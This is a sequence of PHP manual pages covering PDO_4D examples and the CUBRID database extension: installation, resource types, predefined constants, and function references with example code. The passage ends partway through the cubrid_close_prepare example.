$stmt = $db->prepare('SELECT id, val from test');

$stmt->execute();
print_r($stmt->fetchAll());

unset($stmt);
unset($db);
?>

The above example will output:

    Array
(
    [0] => Array
        (
            [ID] => A
            [0] => A
            [VAL] => B
            [1] => B
        )

    [1] => Array
        (
            [ID] => C
            [0] => C
            [VAL] => D
            [1] => D
        )

    [2] => Array
        (
            [ID] => E
            [0] => E
            [VAL] => F
            [1] => F
        )

)

This example shows how to execute a query in 4D language, and how to read the result through PDO_4D.

Example #2 Accessing 4D language from pdo_4d

Set up a 4D method, called method. Make sure in the method properties that the option Available via SQL is checked. The 4D code is the following.

C_TEXTE($0)
$0:=Version application(*);

The PHP code to use the above 4D method is :

<?php
$dsn = '4D:host=localhost;charset=UTF-8';
$user = 'test';
$pass = 'test';

// Connection to the 4D server
$db = new PDO($dsn, $user, $pass);

$stmt = $db->prepare('SELECT {FN method() AS VARCHAR } FROM _USER_SCHEMAS LIMIT 1');

$stmt->execute();
print_r($stmt->fetchAll());

unset($stmt);
unset($db);
?>

The above example will output:

(
    [0] => Array
        (
            [<expression>] => F0011140
            [0] => F0011140
        )

)

Example #3 Escaping 4D table names

This examples illustrates how to escape characters in a 4D SQL query.

<?php
$dsn = '4D:host=localhost;charset=UTF-8';
$user = 'test';
$pass = 'test';

// Connection to 4D server 4D
$db = new PDO($dsn, $user, $pass);

$objects = array('[',']','[]','][','[[',']]','[[[',']]]','TBL ]]32[23');

foreach($objects as $id => $object) {
    $object = str_replace(']',']]', $object);
    print "$object\n";

    $db->exec('CREATE TABLE IF NOT EXISTS ['.$object.'](['.$object.'] FLOAT)');

    $req = "INSERT INTO [$object] ([$object]) VALUES ($id);";
    $db->query($req);

    $q = $db->prepare("SELECT [$object] FROM [$object]");
    $q->execute();
    $x[] = $q->fetch(PDO::FETCH_NUM);

    $db->exec('DROP TABLE ['.$object.'];');
}

?>

The above example will output:

[
]]
[]]
]][
[[
]]]]
[[[
]]]]]]
TBL ]]]]32[23

User Contributed Notes

There are no user contributed notes for this page.
SQL acceptable by 4D
Vendor Specific Database Extensions
4D (PDO)


Vendor Specific Database Extensions

  • CUBRID
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • CUBRID Functions
    • CUBRID MySQL Compatibility Functions
    • CUBRID Obsolete Aliases and Functions
  • DB++
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • DB++ Functions
  • dBase
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • dBase Functions
  • filePro
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • filePro Functions
  • Firebird/InterBase
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Firebird/InterBase Functions
  • FrontBase
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • FrontBase Functions
  • IBM DB2 — IBM DB2, Cloudscape and Apache Derby
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • IBM DB2 Functions
  • Informix
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Informix Functions
  • Ingres — Ingres DBMS, EDBC, and Enterprise Access Gateways
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Ingres Functions
  • MaxDB
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • MaxDB Functions
  • Mongo — MongoDB Native Driver
    • Manual
    • Core Classes
    • Types
    • GridFS Classes
    • Miscellaneous
    • Functions
    • Exceptions
  • mSQL
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • mSQL Functions
  • Mssql — Microsoft SQL Server
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Mssql Functions
  • MySQL — MySQL Drivers and Plugins
    • Overview of the MySQL PHP drivers
    • Mysql — Original MySQL API
    • Mysqli — MySQL Improved Extension
    • Mysqlnd — MySQL Native Driver
    • mysqlnd_ms — Mysqlnd replication and load balancing plugin
    • mysqlnd_qc — Mysqlnd query result cache plugin
    • mysqlnd_uh — Mysqlnd user handler plugin
  • OCI8 — Oracle OCI8
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Connection Handling
    • Supported Datatypes
    • OCI8 Functions
    • OCI8 Obsolete Aliases and Functions
  • Ovrimos SQL
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Ovrimos SQL Functions
  • Paradox — Paradox File Access
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Paradox Functions
  • PostgreSQL
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • PostgreSQL Functions
  • SQLite
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • SQLite Functions
  • SQLite3
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • SQLite3 — The SQLite3 class
    • SQLite3Stmt — The SQLite3Stmt class
    • SQLite3Result — The SQLite3Result class
  • SQLSRV — Microsoft SQL Server Driver for PHP
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • SQLSRV Functions
  • Sybase
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Sybase Functions
  • tokyo_tyrant
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • TokyoTyrant — The TokyoTyrant class
    • TokyoTyrantTable — The TokyoTyrantTable class
    • TokyoTyrantQuery — The TokyoTyrantQuery class
    • TokyoTyrantIterator — The TokyoTyrantIterator class
    • TokyoTyrantException — The TokyoTyrantException class

User Contributed Notes

There are no user contributed notes for this page.
Examples with PDO_4D
CUBRID
Database Extensions


CUBRID

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • CUBRID Functions
    • cubrid_affected_rows — Return the number of rows affected by the last SQL statement
    • cubrid_bind — Bind variables to a prepared statement as parameters
    • cubrid_close_prepare — Close the request handle
    • cubrid_close_request — Close the request handle
    • cubrid_col_get — Get contents of collection type column using OID
    • cubrid_col_size — Get the number of elements in collection type column using OID
    • cubrid_column_names — Get the column names in result
    • cubrid_column_types — Get column types in result
    • cubrid_commit — Commit a transaction
    • cubrid_connect_with_url — Establish the environment for connecting to CUBRID server
    • cubrid_connect — Open a connection to a CUBRID Server
    • cubrid_current_oid — Get OID of the current cursor location
    • cubrid_disconnect — Close a database connection
    • cubrid_drop — Delete an instance using OID
    • cubrid_error_code_facility — Get the facility code of error
    • cubrid_error_code — Get error code for the most recent function call
    • cubrid_error_msg — Get last error message for the most recent function call
    • cubrid_execute — Execute a prepared SQL statement
    • cubrid_fetch — Fetch the next row from a result set
    • cubrid_free_result — Free the memory occupied by the result data
    • cubrid_get_autocommit — Get auto-commit mode of the connection
    • cubrid_get_charset — Return the current CUBRID connection charset
    • cubrid_get_class_name — Get the class name using OID
    • cubrid_get_client_info — Return the client library version
    • cubrid_get_db_parameter — Returns the CUBRID database parameters
    • cubrid_get_query_timeout — Get the query timeout value of the request
    • cubrid_get_server_info — Return the CUBRID server version
    • cubrid_get — Get a column using OID
    • cubrid_insert_id — Return the ID generated for the lastest updated AUTO_INCREMENT column
    • cubrid_is_instance — Check whether the instance pointed by OID exists
    • cubrid_lob_close — Close BLOB/CLOB data
    • cubrid_lob_export — Export BLOB/CLOB data to file
    • cubrid_lob_get — Get BLOB/CLOB data
    • cubrid_lob_send — Read BLOB/CLOB data and send straight to browser
    • cubrid_lob_size — Get BLOB/CLOB data size
    • cubrid_lock_read — Set a read lock on the given OID
    • cubrid_lock_write — Set a write lock on the given OID
    • cubrid_move_cursor — Move the cursor in the result
    • cubrid_next_result — Get result of next query when executing multiple SQL statements
    • cubrid_num_cols — Return the number of columns in the result set
    • cubrid_num_rows — Get the number of rows in the result set
    • cubrid_pconnect_with_url — Open a persistent connection to CUBRID server
    • cubrid_pconnect — Open a persistent connection to a CUBRID server
    • cubrid_prepare — Prepare an SQL statement for execution
    • cubrid_put — Update a column using OID
    • cubrid_rollback — Roll back a transaction
    • cubrid_schema — Get the requested schema information
    • cubrid_seq_drop — Delete an element from sequence type column using OID
    • cubrid_seq_insert — Insert an element to a sequence type column using OID
    • cubrid_seq_put — Update the element value of sequence type column using OID
    • cubrid_set_add — Insert a single element to set type column using OID
    • cubrid_set_autocommit — Set autocommit mode of the connection
    • cubrid_set_db_parameter — Sets the CUBRID database parameters
    • cubrid_set_drop — Delete an element from set type column using OID
    • cubrid_set_query_timeout — Set the timeout time of query execution
    • cubrid_version — Get the CUBRID PHP module's version
  • CUBRID MySQL Compatibility Functions
    • cubrid_client_encoding — Return the current CUBRID connection charset
    • cubrid_close — Close CUBRID connection
    • cubrid_data_seek — Move the internal row pointer of the CUBRID result
    • cubrid_db_name — Get db name from results of cubrid_list_dbs
    • cubrid_errno — Return the numerical value of the error message from previous CUBRID operation
    • cubrid_error — Get the error message
    • cubrid_fetch_array — Fetch a result row as an associative array, a numeric array, or both
    • cubrid_fetch_assoc — Return the associative array that corresponds to the fetched row
    • cubrid_fetch_field — Get column information from a result and return as an object
    • cubrid_fetch_lengths — Return an array with the lengths of the values of each field from the current row
    • cubrid_fetch_object — Fetche the next row and returns it as an object
    • cubrid_fetch_row — Return a numerical array with the values of the current row
    • cubrid_field_flags — Return a string with the flags of the given field offset
    • cubrid_field_len — Get the maximum length of the specified field
    • cubrid_field_name — Return the name of the specified field index
    • cubrid_field_seek — Move the result set cursor to the specified field offset
    • cubrid_field_table — Return the name of the table of the specified field
    • cubrid_field_type — Return the type of the column corresponding to the given field offset
    • cubrid_list_dbs — Return an array with the list of all existing CUBRID databases
    • cubrid_num_fields — Return the number of columns in the result set
    • cubrid_ping — Ping a server connection or reconnect if there is no connection
    • cubrid_query — Send a CUBRID query
    • cubrid_real_escape_string — Escape special characters in a string for use in an SQL statement
    • cubrid_result — Return the value of a specific field in a specific row
    • cubrid_unbuffered_query — Perform a query without fetching the results into memory
  • CUBRID Obsolete Aliases and Functions
    • cubrid_load_from_glo — Read data from a GLO instance and save it in a file
    • cubrid_new_glo — Create a glo instance
    • cubrid_save_to_glo — Save requested file in a GLO instance
    • cubrid_send_glo — Read data from glo and send it to std output

User Contributed Notes

There are no user contributed notes for this page.
Vendor Specific Database Extensions
Introduction
Vendor Specific Database Extensions


Introduction

These functions allow you to access CUBRID database servers. More information about CUBRID can be found at » CUBRID.

Documentation for CUBRID can be found at » CUBRID Documentation.

User Contributed Notes

There are no user contributed notes for this page.
CUBRID
Installing/Configuring
CUBRID


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
CUBRID


Requirements

In order to have these functions available, you must install CUBRID, and compile CUBRID PHP Library with CUBRID support.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/cubrid.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

For information about manual installation on Linux and Windows systems, please read the file build-guide.html included in the package.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

There is no runtime configuration now.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

There are three resource types used in CUBRID. The first one is the link identifier for a database connection, the second is the a resource which holds the result of a query, and the third a resource which holds the query results of BLOB/CLOB data types.

connection identifier

A connection identifier returned by cubrid_connect() and cubrid_connect_with_url().

request identifier

A request identifier returned by cubrid_prepare() and cubrid_execute().

LOB identifier

A LOB identifier returned by cubrid_lob_get().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The following constants can be used when executing SQL statement. They can be passed to cubrid_prepare() and cubrid_execute().

CUBRID SQL execution flags
Constant | Description
CUBRID_INCLUDE_OID | Determine whether to get OID during query execution.
CUBRID_ASYNC | Execute the query in asynchronous mode.
CUBRID_EXEC_QUERY_ALL | Execute the query in synchronous mode. This flag must be set when executing multiple SQL statements.

The following constants can be used when fetching the results to specify fetch behaviour. They can be passed to cubrid_fetch() and cubrid_fetch_array().

CUBRID fetch flags
Constant | Description
CUBRID_NUM | Get query result as a numeric array (0-default).
CUBRID_ASSOC | Get query result as an associative array.
CUBRID_BOTH | Get query result as both numeric and associative arrays (default value).
CUBRID_OBJECT | Get query result an object.

The following constants can be used when positioning the cursor in query results. They can be passed to or returned by cubrid_move_cursor().

CUBRID cursor position flags
Constant | Description
CUBRID_CURSOR_FIRST | Move current cursor to the first position in the result.
CUBRID_CURSOR_CURRENT | Move current cursor as a default value if the origin is not specified.
CUBRID_CURSOR_LAST | Move current cursor to the last position in the result.
CUBRID_CURSOR_SUCCESS | Returned value of cubrid_move_cursor() function in case of success.
CUBRID_NO_MORE_DATA | Returned value of cubrid_move_cursor() function in case of failure.
CUBRID_CURSOR_ERROR | Returned value of cubrid_move_cursor() function in case of failure.

The following constants can be used when setting the auto-commit mode for the database connection. They can be passed to cubrid_set_autocommit() or returned by cubrid_get_autocommit().

CUBRID auto-commit mode flags
Constant | Description
CUBRID_AUTOCOMMIT_TRUE | Enable the auto-commit mode.
CUBRID_AUTOCOMMIT_FALSE | Disable the auto-commit mode.

The following constants can be used when setting the database parameter. They can be passed to cubrid_set_db_parameter().

CUBRID parameter flags
Constant | Description
CUBRID_PARAM_ISOLATION_LEVEL | Transaction isolation level for the database connection.
CUBRID_PARAM_LOCK_TIMEOUT | Transaction timeout in seconds.

The following constants can be used when setting the transaction isolation level. They can be passed to cubrid_set_db_parameter() or returned by cubrid_get_db_parameter().

CUBRID isolation level flags
Constant | Description
TRAN_COMMIT_CLASS_UNCOMMIT_INSTANCE | The lowest isolation level (1). A dirty, non-repeatable or phantom read may occur for the tuple and a non-repeatable read may occur for the table as well.
TRAN_COMMIT_CLASS_COMMIT_INSTANCE | A relatively low isolation level (2). A dirty read does not occur, but non-repeatable or phantom read may occur.
TRAN_REP_CLASS_UNCOMMIT_INSTANCE | The default isolation of CUBRID (3). A dirty, non-repeatable or phantom read may occur for the tuple, but repeatable read is ensured for the table.
TRAN_REP_CLASS_COMMIT_INSTANCE | A relatively low isolation level (4). A dirty read does not occur, but non-repeatable or phantom read may.
TRAN_REP_CLASS_REP_INSTANCE | A relatively high isolation level (5). A dirty or non-repeatable read does not occur, but a phantom read may.
TRAN_SERIALIZABLE | The highest isolation level (6). Problems concerning concurrency (e.g. dirty read, non-repeatable read, phantom read, etc.) do not occur.

The following constants can be used when getting schema information. They can be passed to cubrid_schema().

CUBRID schema flags
Constant | Description
CUBRID_SCH_CLASS | Get name and type of table in CUBRID.
CUBRID_SCH_VCLASS | Get name and type of view in CUBRID.
CUBRID_SCH_QUERY_SPEC | Get the query definition of view.
CUBRID_SCH_ATTRIBUTE | Get the attributes of table column.
CUBRID_SCH_CLASS_ATTRIBUTE | Get the attributes of table.
CUBRID_SCH_METHOD | Get the instance method. The instance method is a method called by a class instance. It is used more often than the class method because most operations are executed in the instance.
CUBRID_SCH_CLASS_METHOD | Get the class method. The class method is a method called by a class object. It is usually used to create a new class instance or to initialize it. It is also used to access or update class attributes.
CUBRID_SCH_METHOD_FILE | Get the information of the file where the method of the table is defined.
CUBRID_SCH_SUPERCLASS | Get the name and type of table which table inherites attributes from.
CUBRID_SCH_SUBCLASS | Get the name and type of table which inherites attributes from this table.
CUBRID_SCH_CONSTRAINT | Get the table constraints.
CUBRID_SCH_TRIGGER | Get the table triggers.
CUBRID_SCH_CLASS_PRIVILEGE | Get the privilege information of table.
CUBRID_SCH_ATTR_PRIVILEGE | Get the privilege information of column.
CUBRID_SCH_DIRECT_SUPER_CLASS | Get the direct super table of table.
CUBRID_SCH_PRIMARY_KEY | Get the table primary key.
CUBRID_SCH_IMPORTED_KEYS | Get imported keys of table.
CUBRID_SCH_EXPORTED_KEYS | Get exported keys of table.
CUBRID_SCH_CROSS_REFERENCE | Get reference relationship of tow tables.

The following constants can be used when reporting errors. They can be returned from cubrid_error_code_facility().

CUBRID error facility code
Constant | Description
CUBRID_FACILITY_DBMS | The error occured in CUBRID dbms.
CUBRID_FACILITY_CAS | The error occured in CUBRID broker cas.
CUBRID_FACILITY_CCI | The error occured in CUBRID cci.
CUBRID_FACILITY_CLIENT | The error occured in CUBRID PHP client.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
CUBRID


Examples

The following is a simple example that establishes a connection between PHP and CUBRID. This section will cover the most basic and notable features. The following code required to connect to CUBRID database, which means CUBRID Server and CUBRID Broker have to be running.

The example below uses the demodb database as an examples. By default it is created during the installation. Make sure it has been created.

Example #1 Example of Data Retrieval

<html>
    <head>
    <meta http-equiv="content-type" content="text/html; charset=euc-kr">
    </head>
    <body>
    <center>
    <table border=2>
    <?php
        /**
         * Set server information for CUBRID connection. host_ip is the IP
         * address where the CUBRID Broker is installed (localhost in this
         * example), and host_port is the port number of the CUBRID Broker.
         * The port number is the default given during the installation.
         * For details, see "Administrator's Guide."
         */
        $host_ip = "localhost";
        $host_port = 33000;
        $db_name = "demodb";
        /**
         * Connect to CUBRID Server. Do not make the actual connection, but
         * only retain the connection information. The reason for not making
         * the actual connection is to handle transaction more efficiently
         * in the 3-tier architecture.
         */
        $cubrid_con = @cubrid_connect($host_ip, $host_port, $db_name);

        if (!$cubrid_con) {
            echo "Database Connection Error";
            exit;
        }
    ?>
    <?php
        $sql = "select sports, count(players) as players from event group by sports";
        /**
         * Request the CUBRID Server for the results of the SQL statement.
         * Now make the actual connection to the CUBRID Server.
         */
        $result = cubrid_execute($cubrid_con, $sql);

        if ($result) {
            /**
             * Get the column names from the result set created by the SQL query.
             */
            $columns = cubrid_column_names($result);
            /**
             * Get the number of columns in the result set created by the SQL query.
             */
            $num_fields = cubrid_num_cols($result);
            /**
             * List the column names of the result set on the screen.
             */
            echo("<tr>");

            while (list($key, $colname) = each($columns)) {
                echo("<td align=center>$colname</td>");
            }

            echo("</tr>");

            /**
             * Get the results from the result set.
             */
            while ($row = cubrid_fetch($result)) {
                echo("<tr>");

                for ($i = 0; $i < $num_fields; $i++) {
                    echo("<td align=center>");
                    echo($row[$i]);
                    echo("</td>");
                }

                echo("</tr>");
            }
        }
        /**
         * The PHP module in the CUBRID runs in a 3-tier architecture. Even when
         * calling SELECT for transaction processing, it is processed as a part
         * of the transaction. Therefore, the transaction needs to be rolled back
         * by calling commit or rollback even though SELECT was called for smooth
         * performance.
         */
        cubrid_commit($cubrid_con);
        cubrid_disconnect($cubrid_con);
    ?>
    </body>
    </html>

Example #2 Example of Data Insertion

<html>
    <head>
    <meta http-equiv="content-type" content="text/html; charset=euc- kr">
    </head>
    <body>
    <center>
    <table border=2>
    <?php
        /**
         * host_ip is the IP address where the CUBRID Broker is installed
         * host_port is the port number of the CUBRID Broker
         * db_name is the name of CUBRID Database
         */
        $host_ip = "localhost";
        $host_port = 33000;
        $db_name = "demodb";
        $cubrid_con = @cubrid_connect($host_ip, $host_port, $db_name);

        if (!$cubrid_con) {
            echo "Database Connection Error";
            exit;
        }
    ?>
    <?php
        $sql = "insert into olympic (host_year,host_nation,host_city,"
            . "opening_date,closing_date) values (2008, 'China', 'Beijing',"
            . "to_date('08-08-2008','mm-dd- yyyy'),to_date('08-24-2008','mm-dd-yyyy')) ;"
        $result = cubrid_execute($cubrid_con, $sql);
        if ($result) {
            /**
             * Handled successfully, so commit.
             */
            cubrid_commit($cubrid_con);
            echo("Inserted successfully ");
        } else {
            /**
             * Error occurred, so the error message is output and rollback is called.
             */
            echo(cubrid_error_msg());
            cubrid_rollback($cubrid_con);
        }
        cubrid_disconnect($cubrid_con);
    ?>
    </body>
    </html>

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
CUBRID Functions
CUBRID


CUBRID Functions

Table of Contents

  • cubrid_affected_rows — Return the number of rows affected by the last SQL statement
  • cubrid_bind — Bind variables to a prepared statement as parameters
  • cubrid_close_prepare — Close the request handle
  • cubrid_close_request — Close the request handle
  • cubrid_col_get — Get contents of collection type column using OID
  • cubrid_col_size — Get the number of elements in collection type column using OID
  • cubrid_column_names — Get the column names in result
  • cubrid_column_types — Get column types in result
  • cubrid_commit — Commit a transaction
  • cubrid_connect_with_url — Establish the environment for connecting to CUBRID server
  • cubrid_connect — Open a connection to a CUBRID Server
  • cubrid_current_oid — Get OID of the current cursor location
  • cubrid_disconnect — Close a database connection
  • cubrid_drop — Delete an instance using OID
  • cubrid_error_code_facility — Get the facility code of error
  • cubrid_error_code — Get error code for the most recent function call
  • cubrid_error_msg — Get last error message for the most recent function call
  • cubrid_execute — Execute a prepared SQL statement
  • cubrid_fetch — Fetch the next row from a result set
  • cubrid_free_result — Free the memory occupied by the result data
  • cubrid_get_autocommit — Get auto-commit mode of the connection
  • cubrid_get_charset — Return the current CUBRID connection charset
  • cubrid_get_class_name — Get the class name using OID
  • cubrid_get_client_info — Return the client library version
  • cubrid_get_db_parameter — Returns the CUBRID database parameters
  • cubrid_get_query_timeout — Get the query timeout value of the request
  • cubrid_get_server_info — Return the CUBRID server version
  • cubrid_get — Get a column using OID
  • cubrid_insert_id — Return the ID generated for the lastest updated AUTO_INCREMENT column
  • cubrid_is_instance — Check whether the instance pointed by OID exists
  • cubrid_lob_close — Close BLOB/CLOB data
  • cubrid_lob_export — Export BLOB/CLOB data to file
  • cubrid_lob_get — Get BLOB/CLOB data
  • cubrid_lob_send — Read BLOB/CLOB data and send straight to browser
  • cubrid_lob_size — Get BLOB/CLOB data size
  • cubrid_lock_read — Set a read lock on the given OID
  • cubrid_lock_write — Set a write lock on the given OID
  • cubrid_move_cursor — Move the cursor in the result
  • cubrid_next_result — Get result of next query when executing multiple SQL statements
  • cubrid_num_cols — Return the number of columns in the result set
  • cubrid_num_rows — Get the number of rows in the result set
  • cubrid_pconnect_with_url — Open a persistent connection to CUBRID server
  • cubrid_pconnect — Open a persistent connection to a CUBRID server
  • cubrid_prepare — Prepare an SQL statement for execution
  • cubrid_put — Update a column using OID
  • cubrid_rollback — Roll back a transaction
  • cubrid_schema — Get the requested schema information
  • cubrid_seq_drop — Delete an element from sequence type column using OID
  • cubrid_seq_insert — Insert an element to a sequence type column using OID
  • cubrid_seq_put — Update the element value of sequence type column using OID
  • cubrid_set_add — Insert a single element to set type column using OID
  • cubrid_set_autocommit — Set autocommit mode of the connection
  • cubrid_set_db_parameter — Sets the CUBRID database parameters
  • cubrid_set_drop — Delete an element from set type column using OID
  • cubrid_set_query_timeout — Set the timeout time of query execution
  • cubrid_version — Get the CUBRID PHP module's version

User Contributed Notes

There are no user contributed notes for this page.
Examples
cubrid_affected_rows
CUBRID


Return the number of rows affected by the last SQL statement

CUBRID Functions
cubrid_bind
CUBRID Functions
PHP Manual

cubrid_affected_rows

(PECL CUBRID >= 8.3.0)

cubrid_affected_rows — Return the number of rows affected by the last SQL statement

Description

int cubrid_affected_rows ([ resource $result ] )

The cubrid_affected_rows() function is used to get the number of rows affected by the SQL statement (INSERT, DELETE, UPDATE).

Parameters

result

Result. If the result is not specified, the last result is assumed.

Return Values

Number of rows affected by the SQL statement, when process is successful.

-1, when SQL statement is not INSERT, DELETE or UPDATE.

FALSE, when the request identifier is not specified, and there is no last request.

Examples

Example #1 cubrid_affected_rows() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE cubrid_test");
cubrid_execute($conn, "CREATE TABLE cubrid_test (t varchar)");

for ($i = 0; $i < 5; $i++) {
    cubrid_execute($conn, "INSERT INTO cubrid_test(t) VALUES('cubrid_test')");
}

cubrid_execute($conn, "DELETE FROM cubrid_test");

$affected_num = cubrid_affected_rows();
printf("Rows deleted: %d\n", $affected_num);

cubrid_disconnect($conn);
?>

The above example will output:

Rows deleted: 5

See Also

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.
CUBRID Functions
cubrid_bind
CUBRID Functions


Bind variables to a prepared statement as parameters

cubrid_affected_rows
cubrid_close_prepare
CUBRID Functions
PHP Manual

cubrid_bind

(PECL CUBRID >= 8.3.0)

cubrid_bind — Bind variables to a prepared statement as parameters

Description

bool cubrid_bind ( resource $req_identifier , mixed $bind_param , mixed $bind_value [, string $bind_value_type ] )

The cubrid_bind() function is used to bind values to a corresponding named or question mark placeholder in the SQL statement that was passed to cubrid_prepare(). If bind_value_type is not given, string will be the default.

Note:

If the type of data to be bound is BLOB/CLOB, CUBRID will try to map the data as a PHP stream. If the actually bind value type is not stream, CUBRID will convert it to string, and use it as the full path and file name of a file on the client filesystem.

The following table shows the types of substitute values.

CUBRID Bind Date Types
Support | Bind Type | Corresponding SQL Type
Supported | STRING | CHAR, VARCHAR
 | NCHAR | NCHAR, NVARCHAR
 | BIT | BIT, VARBIT
 | NUMERIC or NUMBER | SHORT, INT, NUMERIC
 | FLOAT | FLOAT
 | DOUBLE | DOUBLE
 | TIME | TIME
 | DATE | DATE
 | TIMESTAMP | TIMESTAMP
 | OBJECT | OBJECT
 | BLOB | BLOB
 | CLOB | CLOB
 | NULL | NULL
Not supported | SET | SET
 | MULTISET | MULTISET
 | SEQUENCE | SEQUENCE

Parameters

req_identifier

Request identifier as a result of cubrid_prepare().

bind_param

Parameter identifier. For a prepared statement using named placeholders, this will be a parameter name of the form :name (Note that the name can only contain digit, alphabet, and underscore, and it can not begin with digit. The name length can not be longer than 32). For a prepared statement using question mark placeholders, this will be the 1-indexed position of the parameter.

bind_value

Actual value for binding.

bind_value_type

A type of the value to bind. (It is omitted by default. Thus, system internally use string by default. However, you need to specify the exact type of the value as an argument when they are NCHAR, BIT, or BLOB/CLOB).

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Changelog

Version | Description
8.4.0 | Added named parameter support; When binding the LOB data type, it can directly binding the path name of a file.
8.3.1 | Added BLOB/CLOB data types support.

Examples

Example #1 cubrid_bind() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$result = cubrid_execute($conn, "SELECT code FROM event WHERE sports='Basketball' and gender='M'");
$row = cubrid_fetch_array($result, CUBRID_ASSOC);
$event_code = $row["code"];

cubrid_close_request($result);

$game_req = cubrid_prepare($conn, "SELECT athlete_code FROM game WHERE host_year=1992 and event_code=? and nation_code='USA'");
cubrid_bind($game_req, 1, $event_code, "number");
cubrid_execute($game_req);

printf("--- Dream Team (1992 United States men's Olympic basketball team) ---\n");
while ($athlete_code = cubrid_fetch_array($game_req, CUBRID_NUM)) {
    $athlete_req = cubrid_prepare($conn, "SELECT name FROM athlete WHERE code=? AND nation_code='USA' AND event='Basketball' AND gender='M'");
    cubrid_bind($athlete_req, 1, $athlete_code[0], "number");
    cubrid_execute($athlete_req);
    $row = cubrid_fetch_assoc($athlete_req);
    printf("%s\n", $row["name"]);
}

cubrid_close_request($game_req);
cubrid_close_request($athlete_req);

cubrid_disconnect($conn);
?>

The above example will output:

--- Dream Team (1992 United States men's Olympic basketball team) ---
Stockton John
Robinson David
Pippen Scottie
Mullin C.
Malone Karl
Laettner C.
Jordan Michael
Johnson Earvin
Ewing Patrick
Drexler Clyde
Bird Larry
Barkley Charles

Example #2 cubrid_bind() named parameter example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$sql_stmt = <<<EOD
SELECT s.name FROM stadium s, game g
WHERE s.code = g.stadium_code AND g.medal = :medal_type
GROUP BY g.stadium_code ORDER BY count(medal) DESC LIMIT 1;
EOD;

$req = cubrid_prepare($conn, $sql_stmt);
printf("%-30s %s\n", "Medal Type", "Stadium where most medals were ever won");

cubrid_bind($req, ":medal_type", "G");
cubrid_execute($req);
$row = cubrid_fetch_assoc($req);
printf("%-30s %s\n", "Gold", $row["name"]);

cubrid_bind($req, ":medal_type", "S");
cubrid_execute($req);
$row = cubrid_fetch_assoc($req);
printf("%-30s %s\n", "Silver", $row["name"]);

cubrid_bind($req, ":medal_type", "B");
cubrid_execute($req);
$row = cubrid_fetch_assoc($req);
printf("%-30s %s\n", "Bronze", $row["name"]);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

Medal Type                     Stadium where most medals were ever won
Gold                           Olympic Aquatic Centre
Silver                         Olympic Aquatic Centre
Bronze                         Sydney Convention and Exhibition Centre

Example #3 cubrid_bind() BLOB/CLOB example

<?php
$con = cubrid_connect("localhost", 33000, "foo");
if ($con) {
    $sql = "INSERT INTO php_cubrid_lob_test(doc_content) VALUES(?)";
    $req = cubrid_prepare($con, $sql);

    $fp = fopen("book.txt", "rb");

    cubrid_bind($req, 1, $fp, "clob");
    cubrid_execute($req);
}
?>

Example #4 cubrid_bind() BLOB/CLOB example

<?php
$con = cubrid_connect("localhost", 33000, "foo");
if ($con) {
    $sql = "INSERT INTO php_cubrid_lob_test(image) VALUES(?)";
    $req = cubrid_prepare($con, $sql);

    cubrid_bind($req, 1, "cubrid_logo.png", "blob");
    cubrid_execute($req);
}
?>

See Also

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_prepare() - Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.
cubrid_affected_rows
cubrid_close_prepare
CUBRID Functions


Close the request handle

cubrid_bind
cubrid_close_request
CUBRID Functions
PHP Manual

cubrid_close_prepare

(PECL CUBRID >= 8.3.0)

cubrid_close_prepare — Close the request handle

Description

int cubrid_close_prepare ( resource $req_identifier )

The cubrid_close_prepare() function closes the request handle given by the req_identifier argument, and releases the memory region related to the handle. It is a alias of cubrid_close_request().

Parameters

req_identifier

Request identifier.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_close_prepare() example

<?php
$con = cubrid_connect ("dbsvr.cubrid.com", 12345, "demodb");
if ($con) {
